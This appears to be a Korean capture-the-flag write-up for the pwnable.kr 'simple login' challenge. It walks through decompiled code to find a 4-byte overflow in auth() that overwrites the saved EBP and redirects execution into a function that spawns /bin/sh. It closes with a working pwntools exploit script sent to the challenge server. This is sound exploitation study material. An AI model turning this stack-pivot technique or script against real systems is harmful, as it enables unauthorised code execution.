simple login | 50 pt
50 point 이므로, 페이로드가 비교적 짧을것같다.
Authenticate : snwo
hash : f95abb977080593669adc510ab8e16d7
이렇게 입력을 받고, 해쉬값을 생성해서 종료한다.
main ( void )
undefined4 main(void)
{
int iVar1;
void *local_38;
undefined local_32 [30];
uint local_14;
memset(local_32,0,0x1e);
setvbuf((FILE *)stdout,(char *)0x0,2,0);
setvbuf((FILE *)stdin,(char *)0x0,1,0);
printf("Authenticate : ");
__isoc99_scanf(&DAT_080da6b5,local_32);
memset(input,0,0xc);
local_38 = (void *)0x0;
local_14 = Base64Decode(local_32,&local_38);
if (local_14 < 0xd) {
memcpy(input,local_38,local_14);
iVar1 = auth(local_14);
if (iVar1 == 1) {
correct();
}
}
else {
puts("Wrong Length");
}
return 0;
}
버퍼 [EBP-0x32] 에 30byte 입력받는다. 그리고 전역변수 input의 12바이트를 0으로 세팅한다.
local_38 에는 base64 디코딩된 입력값이 들어가고, 그 값이 13보다 작으면 input 에다가 디코딩된 값을 대입한다.
그리고 auth() 함수 호출
auth ( size_t param_1 )
uint auth(size_t param_1)
{
int iVar1;
undefined local_18 [8];
char *local_10;
undefined auStack12 [8];
memcpy(auStack12,input,param_1);
local_10 = (char *)calc_md5(local_18,0xc);
printf("hash : %s\n",local_10);
iVar1 = strcmp("f87cd601aa7fedca99018a8be88eda34",local_10);
return (uint)(iVar1 == 0);
}
auStack12 에 디코딩된 입력값(input)을 복사한다. [EBP-0x18] 을 md5 해싱한뒤 출력해주고
f87~~~ 와 비교한다.
auStack12
0x080492a2 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080492a5 <+9>: mov DWORD PTR [esp+0x8],eax # 3번째인자 입력값길이
0x080492a9 <+13>: mov DWORD PTR [esp+0x4],0x811eb40 # 2번째인자 input.
0x080492b1 <+21>: lea eax,[ebp-0x14]
0x080492b4 <+24>: add eax,0xc
0x080492b7 <+27>: mov DWORD PTR [esp],eax # 1번째인자 ebp-(0x14+0xc) = ebp-0x8
0x080492ba <+30>: call 0x8069660 <memcpy>
auStack12 = [EBP-0x8] 이라는걸 알 수 있다.
input 최대값은 12이므로 4byte overwrite 가 일어나 EBP 를 조작할 수 있다.
EBP 가 조작된 상태에서 main 함수가 함수 에필로그를 실행할때
mov esp, ebp
pop ebp
(ret)
pop eip (ebp+4)
jmp eip
조작된 ebp+4 로 리턴하게된다.
correct ( void )
void correct(void)
{
if (input._0_4_ == -0x21524111) {
puts("Congratulation! you are good!");
system("/bin/sh");
}
/* WARNING: Subroutine does not return */
exit(0);
}
auth() 함수에서 f~~ 와 비교해 맞았을때 실행되는 함수이다.
input 의 처음 4바이트가 0xDEADBEEF (-0x21524111) 일때 쉘을 실행해준다.
그렇다면, input : 0xdeadbeef, input+4 : correct 함수주소, input+8 : input 의 주소로 세팅하여,
ebp 를 input 의 주소로 조작해 input+4 (correct 함수주소) 로 리턴하게하자.
payload : \xEF\xBE\xAD\xDE + correct + input 주소
from pwn import *
import base64
r=remote("pwnable.kr",9003)
b=ELF("./login")
correct=p32(b.symbols['correct'])
input=p32(0x811eb40)
pay=p32(0xDEADBEEF)+correct+input
r.sendline(base64.b64encode(pay))
r.interactive()